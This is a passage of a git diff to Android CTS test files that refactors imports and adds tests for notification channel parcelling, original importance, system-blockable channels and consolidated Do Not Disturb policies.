diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 13db79d..c0d53b9 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -15,7 +15,6 @@
*/
package android.app.cts;
-import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -25,7 +24,6 @@
import android.app.DownloadManager;
import android.app.DownloadManager.Query;
import android.app.DownloadManager.Request;
-import android.content.ContentResolver;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
@@ -41,7 +39,6 @@
import android.util.Pair;
import androidx.test.filters.FlakyTest;
-import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CddTest;
@@ -50,8 +47,6 @@
import org.junit.runner.RunWith;
import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStream;
@RunWith(AndroidJUnit4.class)
public class DownloadManagerTest extends DownloadManagerTestBase {
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 507bbf4..fd9009a 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -285,7 +285,8 @@
final Bundle resultBundle = callbackResult.get(SHORT_TIMEOUT, TimeUnit.MILLISECONDS);
if (resultBundle.getString(KEY_ERROR) != null) {
- fail("Failed to create the file " + file + ", error:" + resultBundle.getString(KEY_ERROR));
+ fail("Failed to create the file " + file + ", error:"
+ + resultBundle.getString(KEY_ERROR));
}
}
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index cff8dcb..6f3e1f1 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -18,6 +18,7 @@
import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
import static android.app.NotificationManager.IMPORTANCE_HIGH;
+import static android.app.NotificationManager.IMPORTANCE_UNSPECIFIED;
import android.app.Notification;
import android.app.NotificationChannel;
@@ -60,11 +61,25 @@
assertTrue(channel.getLightColor() == 0);
assertTrue(channel.canBubble());
assertFalse(channel.isImportanceLockedByOEM());
+ assertEquals(IMPORTANCE_UNSPECIFIED, channel.getOriginalImportance());
}
public void testWriteToParcel() {
NotificationChannel channel =
new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+ channel.setBypassDnd(true);
+ channel.setOriginalImportance(IMPORTANCE_HIGH);
+ channel.setShowBadge(false);
+ channel.setAllowBubbles(false);
+ channel.setGroup("a thing");
+ channel.setSound(Uri.fromParts("a", "b", "c"),
+ new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_NOTIFICATION_EVENT)
+ .build());
+ channel.setLightColor(Color.RED);
+ channel.setDeleted(true);
+ channel.setFgServiceShown(true);
+ channel.setVibrationPattern(new long[] {299, 4562});
+ channel.setBlockableSystem(true);
Parcel parcel = Parcel.obtain();
channel.writeToParcel(parcel, 0);
parcel.setDataPosition(0);
@@ -172,4 +187,17 @@
channel.setImportanceLockedByOEM(true);
assertTrue(channel.isImportanceLockedByOEM());
}
+
+ public void testSystemBlockable() {
+ NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+ assertEquals(false, channel.isBlockableSystem());
+ channel.setBlockableSystem(true);
+ assertEquals(true, channel.isBlockableSystem());
+ }
+
+ public void testOriginalImportance() {
+ NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+ channel.setOriginalImportance(IMPORTANCE_HIGH);
+ assertEquals(IMPORTANCE_HIGH, channel.getOriginalImportance());
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 6e77fea..f402e94 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -18,7 +18,23 @@
import static android.app.Notification.CATEGORY_CALL;
import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.NotificationManager.IMPORTANCE_HIGH;
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+import static android.app.NotificationManager.IMPORTANCE_MIN;
+import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.app.NotificationManager.IMPORTANCE_UNSPECIFIED;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
import static android.app.NotificationManager.INTERRUPTION_FILTER_ALL;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_PRIORITY;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_CALLS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_EVENTS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS;
+import static android.app.NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
@@ -27,16 +43,17 @@
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
-import static android.app.stubs.BubblesTestActivity.BUBBLE_NOTIF_ID;
import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
import static android.app.stubs.BubblesTestService.TEST_NO_BUBBLE_METADATA;
import static android.app.stubs.BubblesTestService.TEST_NO_CATEGORY;
import static android.app.stubs.BubblesTestService.TEST_NO_PERSON;
import static android.app.stubs.BubblesTestService.TEST_SUCCESS;
+import static android.app.stubs.SendBubbleActivity.BUBBLE_NOTIF_ID;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.pm.PackageManager.FEATURE_WATCH;
-import android.app.Activity;
import android.app.ActivityManager;
import android.app.AutomaticZenRule;
import android.app.Instrumentation;
@@ -50,11 +67,10 @@
import android.app.RemoteInput;
import android.app.UiAutomation;
import android.app.stubs.AutomaticZenRuleActivity;
-import android.app.stubs.BubblesTestActivity;
-import android.app.stubs.BubblesTestNotDocumentLaunchModeActivity;
-import android.app.stubs.BubblesTestNotEmbeddableActivity;
+import android.app.stubs.BubbledActivity;
import android.app.stubs.BubblesTestService;
import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
import android.app.stubs.TestNotificationListener;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -68,6 +84,7 @@
import android.graphics.Bitmap;
import android.graphics.drawable.Icon;
import android.media.AudioAttributes;
+import android.media.AudioManager;
import android.media.session.MediaSession;
import android.net.Uri;
import android.os.Build;
@@ -83,15 +100,14 @@
import android.provider.ContactsContract.Data;
import android.provider.Settings;
import android.provider.Telephony.Threads;
-import android.server.wm.ActivityManagerTestBase;
import android.service.notification.Condition;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
+import android.service.notification.ZenPolicy;
import android.test.AndroidTestCase;
import android.util.Log;
import android.widget.RemoteViews;
-import androidx.test.filters.FlakyTest;
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
@@ -119,15 +135,19 @@
final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
private static final String DELEGATOR = "com.android.test.notificationdelegator";
+ private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
- private static final int WAIT_TIME = 2000;
+ private static final long SHORT_WAIT_TIME = 100;
+ private static final long MAX_WAIT_TIME = 2000;
private PackageManager mPackageManager;
+ private AudioManager mAudioManager;
private NotificationManager mNotificationManager;
private ActivityManager mActivityManager;
private String mId;
private TestNotificationListener mListener;
private List<String> mRuleIds;
+ private BroadcastReceiver mBubbleBroadcastReceiver;
@Override
protected void setUp() throws Exception {
@@ -138,12 +158,22 @@
Context.NOTIFICATION_SERVICE);
// clear the deck so that our getActiveNotifications results are predictable
mNotificationManager.cancelAll();
+
+ assertEquals("Previous test left system in a bad state",
+ 0, mNotificationManager.getActiveNotifications().length);
+
mNotificationManager.createNotificationChannel(new NotificationChannel(
- NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+ NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
mPackageManager = mContext.getPackageManager();
+ mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
mRuleIds = new ArrayList<>();
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), false);
// delay between tests so notifications aren't dropped by the rate limiter
try {
Thread.sleep(500);
@@ -184,12 +214,25 @@
private void toggleBubbleSetting(boolean enabled) throws InterruptedException {
SystemUtil.runWithShellPermissionIdentity(() ->
- Settings.Secure.putInt(mContext.getContentResolver(),
- Settings.Secure.NOTIFICATION_BUBBLES, enabled ? 1 : 0));
+ Settings.Global.putInt(mContext.getContentResolver(),
+ Settings.Global.NOTIFICATION_BUBBLES, enabled ? 1 : 0));
Thread.sleep(500); // wait for ranking update
}
+ private boolean isNotificationCancelled(int id, boolean all) {
+ for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+ StatusBarNotification sbn = findPostedNotification(id, all);
+ if (sbn == null) return true;
+ try {
+ Thread.sleep(SHORT_WAIT_TIME);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ return false;
+ }
+
private void insertSingleContact(String name, String phone, String email, boolean starred) {
final ArrayList<ContentProviderOperation> operationList =
new ArrayList<ContentProviderOperation>();
@@ -257,14 +300,13 @@
return null;
}
-
- private StatusBarNotification findPostedNotification(int id) {
+ private StatusBarNotification findPostedNotification(int id, boolean all) {
// notification is a bit asynchronous so it may take a few ms to appear in
// getActiveNotifications()
// we will check for it for up to 300ms before giving up
StatusBarNotification n = null;
for (int tries = 3; tries-- > 0; ) {
- final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ final StatusBarNotification[] sbns = getActiveNotifications(all);
for (StatusBarNotification sbn : sbns) {
Log.d(TAG, "Found " + sbn.getKey());
if (sbn.getId() == id) {
@@ -282,6 +324,14 @@
return n;
}
+ private StatusBarNotification[] getActiveNotifications(boolean all) {
+ if (all) {
+ return mListener.getActiveNotifications();
+ } else {
+ return mNotificationManager.getActiveNotifications();
+ }
+ }
+
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
getContext(), 0, new Intent(getContext(), this.getClass()), 0);
@@ -382,7 +432,7 @@
private void sendAndVerifyBubble(final int id, Notification.Builder builder,
Notification.BubbleMetadata data, boolean shouldBeBubble) {
- final Intent intent = new Intent(mContext, BubblesTestActivity.class);
+ final Intent intent = new Intent(mContext, BubbledActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
@@ -553,13 +603,17 @@
&& Objects.equals(a.getConfigurationActivity(), b.getConfigurationActivity());
}
- private AutomaticZenRule createRule(String name) {
+ private AutomaticZenRule createRule(String name, int filter) {
return new AutomaticZenRule(name, null,
new ComponentName(mContext, AutomaticZenRuleActivity.class),
new Uri.Builder().scheme("scheme")
.appendPath("path")
.appendQueryParameter("fake_rule", "fake_value")
- .build(), null, NotificationManager.INTERRUPTION_FILTER_PRIORITY, true);
+ .build(), null, filter, true);
+ }
+
+ private AutomaticZenRule createRule(String name) {
+ return createRule(name, INTERRUPTION_FILTER_PRIORITY);
}
private void assertExpectedDndState(int expectedState) {
@@ -579,8 +633,26 @@
assertEquals(expectedState, mNotificationManager.getCurrentInterruptionFilter());
}
- private Activity launchSendBubbleActivity() {
- Class clazz = BubblesTestActivity.class;
+ /**
+ * Starts an activity that is able to send a bubble; also handles unlocking the device.
+ * Any tests that use this method should be sure to call {@link #cleanupSendBubbleActivity()}
+ * to unregister the related broadcast receiver.
+ *
+ * @return the SendBubbleActivity that was opened.
+ */
+ private SendBubbleActivity startSendBubbleActivity() {
+ final CountDownLatch latch = new CountDownLatch(2);
+ mBubbleBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ IntentFilter filter = new IntentFilter(SendBubbleActivity.BUBBLE_ACTIVITY_OPENED);
+ mContext.registerReceiver(mBubbleBroadcastReceiver, filter);
+
+ // Start & get the activity
+ Class clazz = SendBubbleActivity.class;
Instrumentation.ActivityResult result =
new Instrumentation.ActivityResult(0, new Intent());
@@ -588,27 +660,155 @@
new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
- Intent i = new Intent(mContext, BubblesTestActivity.class);
+ Intent i = new Intent(mContext, SendBubbleActivity.class);
i.setFlags(FLAG_ACTIVITY_NEW_TASK);
InstrumentationRegistry.getInstrumentation().startActivitySync(i);
InstrumentationRegistry.getInstrumentation().waitForIdleSync();
- return monitor.waitForActivity();
+ SendBubbleActivity sendBubbleActivity = (SendBubbleActivity) monitor.waitForActivity();
+
+ // Make sure device is unlocked
+ KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
+ keyguardManager.requestDismissKeyguard(sendBubbleActivity,
+ new KeyguardManager.KeyguardDismissCallback() {
+ @Override
+ public void onDismissSucceeded() {
+ latch.countDown();
+ }
+ });
+ try {
+ latch.await(500, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return sendBubbleActivity;
}
- private class HomeHelper extends ActivityManagerTestBase implements AutoCloseable {
+ private void cleanupSendBubbleActivity() {
+ mContext.unregisterReceiver(mBubbleBroadcastReceiver);
+ }
- HomeHelper() throws Exception {
- setUp();
+ public void testConsolidatedNotificationPolicy() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
}
- public void goHome() {
- launchHomeActivity();
+ final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+ try {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+
+ mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+ PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA,
+ 0, 0));
+ // turn on manual DND
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+ assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+ // no custom ZenPolicy, so consolidatedPolicy should equal the default notif policy
+ assertEquals(mNotificationManager.getConsolidatedNotificationPolicy(),
+ mNotificationManager.getNotificationPolicy());
+
+ // turn off manual DND
+ mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
+ assertExpectedDndState(INTERRUPTION_FILTER_ALL);
+
+ // setup custom ZenPolicy for an automatic rule
+ AutomaticZenRule rule = createRule("test_consolidated_policy",
+ INTERRUPTION_FILTER_PRIORITY);
+ rule.setZenPolicy(new ZenPolicy.Builder()
+ .allowReminders(true)
+ .build());
+ String id = mNotificationManager.addAutomaticZenRule(rule);
+ mRuleIds.add(id);
+ // set condition of the automatic rule to TRUE
+ Condition condition = new Condition(rule.getConditionId(), "summary",
+ Condition.STATE_TRUE);
+ mNotificationManager.setAutomaticZenRuleState(id, condition);
+ assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+ NotificationManager.Policy consolidatedPolicy =
+ mNotificationManager.getConsolidatedNotificationPolicy();
+
+ // alarms and media are allowed from default notification policy
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_ALARMS) != 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+
+ // reminders is allowed from the automatic rule's custom ZenPolicy
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_REMINDERS) != 0);
+
+ // other sounds aren't allowed
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_CALLS) == 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MESSAGES) == 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) == 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_EVENTS) == 0);
+ } finally {
+ mNotificationManager.setInterruptionFilter(originalFilter);
+ }
+ }
+
+ public void testConsolidatedNotificationPolicyMultiRules() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
}
- @Override
- public void close() throws Exception {
- tearDown();
+ final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+ try {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+
+ // default allows no sounds
+ mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+ PRIORITY_CATEGORY_ALARMS, 0, 0));
+
+ // setup custom ZenPolicy for two automatic rules
+ AutomaticZenRule rule1 = createRule("test_consolidated_policyq",
+ INTERRUPTION_FILTER_PRIORITY);
+ rule1.setZenPolicy(new ZenPolicy.Builder()
+ .allowReminders(false)
+ .allowAlarms(false)
+ .allowSystem(true)
+ .build());
+ AutomaticZenRule rule2 = createRule("test_consolidated_policy2",
+ INTERRUPTION_FILTER_PRIORITY);
+ rule2.setZenPolicy(new ZenPolicy.Builder()
+ .allowReminders(true)
+ .allowMedia(true)
+ .build());
+ String id1 = mNotificationManager.addAutomaticZenRule(rule1);
+ String id2 = mNotificationManager.addAutomaticZenRule(rule2);
+ Condition onCondition1 = new Condition(rule1.getConditionId(), "summary",
+ Condition.STATE_TRUE);
+ Condition onCondition2 = new Condition(rule2.getConditionId(), "summary",
+ Condition.STATE_TRUE);
+ mNotificationManager.setAutomaticZenRuleState(id1, onCondition1);
+ mNotificationManager.setAutomaticZenRuleState(id2, onCondition2);
+
+ mRuleIds.add(id1);
+ mRuleIds.add(id2);
+ assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+ NotificationManager.Policy consolidatedPolicy =
+ mNotificationManager.getConsolidatedNotificationPolicy();
+
+ // reminders aren't allowed from rule1 overriding rule2
+ // (not allowed takes precedence over allowed)
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_REMINDERS) == 0);
+
+ // alarms aren't allowed from rule1
+ // (rule's custom zenPolicy overrides default policy)
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_ALARMS) == 0);
+
+ // system is allowed from rule1, media is allowed from rule2
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) != 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+
+ // other sounds aren't allowed (from default policy)
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_CALLS) == 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MESSAGES) == 0);
+ assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_EVENTS) == 0);
+ } finally {
+ mNotificationManager.setInterruptionFilter(originalFilter);
}
}
@@ -624,37 +824,31 @@
// Post-P can toggle alarms, media, system
// toggle on alarms, media, system:
mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
- NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS
- | NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA
- | NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+ PRIORITY_CATEGORY_ALARMS
+ | PRIORITY_CATEGORY_MEDIA
+ | PRIORITY_CATEGORY_SYSTEM, 0, 0));
NotificationManager.Policy policy = mNotificationManager.getNotificationPolicy();
- assertTrue((policy.priorityCategories
- & NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS) != 0);
- assertTrue((policy.priorityCategories
- & NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA) != 0);
- assertTrue((policy.priorityCategories
- & NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM) != 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_ALARMS) != 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) != 0);
// toggle off alarms, media, system
mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
policy = mNotificationManager.getNotificationPolicy();
- assertTrue((policy.priorityCategories
- & NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS) == 0);
- assertTrue((policy.priorityCategories &
- NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA) == 0);
- assertTrue((policy.priorityCategories &
- NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM) == 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_ALARMS) == 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_MEDIA) == 0);
+ assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) == 0);
}
}
public void testCreateChannelGroup() throws Exception {
final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
final NotificationChannel ungrouped =
- new NotificationChannel(mId + "!", "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId + "!", "name", IMPORTANCE_DEFAULT);
try {
mNotificationManager.createNotificationChannel(channel);
mNotificationManager.createNotificationChannel(ungrouped);
@@ -675,7 +869,7 @@
ncg.setDescription("bananas");
final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
@@ -695,7 +889,7 @@
ncg.setDescription("bananas");
final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(ncg2.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
@@ -724,7 +918,7 @@
public void testDeleteChannelGroup() throws Exception {
final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
mNotificationManager.createNotificationChannel(channel);
@@ -737,7 +931,7 @@
public void testCreateChannel() throws Exception {
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setDescription("bananas");
channel.enableVibration(true);
channel.setVibrationPattern(new long[] {5, 8, 2, 1});
@@ -758,7 +952,7 @@
public void testCreateChannel_rename() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
mNotificationManager.createNotificationChannel(channel);
channel.setName("new name");
mNotificationManager.createNotificationChannel(channel);
@@ -779,7 +973,7 @@
new NotificationChannelGroup(newGroup, newGroup));
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(oldGroup);
mNotificationManager.createNotificationChannel(channel);
@@ -801,7 +995,7 @@
new NotificationChannelGroup(newGroup, newGroup));
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(oldGroup);
mNotificationManager.createNotificationChannel(channel);
channel.setGroup(newGroup);
@@ -814,10 +1008,10 @@
public void testCreateSameChannelDoesNotUpdate() throws Exception {
final NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
mNotificationManager.createNotificationChannel(channel);
final NotificationChannel channelDupe =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+ new NotificationChannel(mId, "name", IMPORTANCE_HIGH);
mNotificationManager.createNotificationChannel(channelDupe);
final NotificationChannel createdChannel =
mNotificationManager.getNotificationChannel(mId);
@@ -826,10 +1020,10 @@
public void testCreateChannelAlreadyExistsNoOp() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
mNotificationManager.createNotificationChannel(channel);
NotificationChannel channelDupe =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+ new NotificationChannel(mId, "name", IMPORTANCE_HIGH);
mNotificationManager.createNotificationChannel(channelDupe);
compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
}
@@ -839,7 +1033,7 @@
mNotificationManager.createNotificationChannelGroup(ncg);
try {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannel(channel);
compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
@@ -850,7 +1044,7 @@
public void testCreateChannelWithBadGroup() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
channel.setGroup("garbage");
try {
mNotificationManager.createNotificationChannel(channel);
@@ -860,7 +1054,7 @@
public void testCreateChannelInvalidImportance() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_UNSPECIFIED);
+ new NotificationChannel(mId, "name", IMPORTANCE_UNSPECIFIED);
try {
mNotificationManager.createNotificationChannel(channel);
} catch (IllegalArgumentException e) {
@@ -870,7 +1064,7 @@
public void testDeleteChannel() throws Exception {
NotificationChannel channel =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_LOW);
+ new NotificationChannel(mId, "name", IMPORTANCE_LOW);
mNotificationManager.createNotificationChannel(channel);
compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
mNotificationManager.deleteNotificationChannel(channel.getId());
@@ -888,16 +1082,16 @@
public void testGetChannel() throws Exception {
NotificationChannel channel1 =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
NotificationChannel channel2 =
new NotificationChannel(
- UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+ UUID.randomUUID().toString(), "name2", IMPORTANCE_HIGH);
NotificationChannel channel3 =
new NotificationChannel(
- UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+ UUID.randomUUID().toString(), "name3", IMPORTANCE_LOW);
NotificationChannel channel4 =
new NotificationChannel(
- UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+ UUID.randomUUID().toString(), "name4", IMPORTANCE_MIN);
mNotificationManager.createNotificationChannel(channel1);
mNotificationManager.createNotificationChannel(channel2);
mNotificationManager.createNotificationChannel(channel3);
@@ -915,16 +1109,16 @@
public void testGetChannels() throws Exception {
NotificationChannel channel1 =
- new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
NotificationChannel channel2 =
new NotificationChannel(
- UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+ UUID.randomUUID().toString(), "name2", IMPORTANCE_HIGH);
NotificationChannel channel3 =
new NotificationChannel(
- UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+ UUID.randomUUID().toString(), "name3", IMPORTANCE_LOW);
NotificationChannel channel4 =
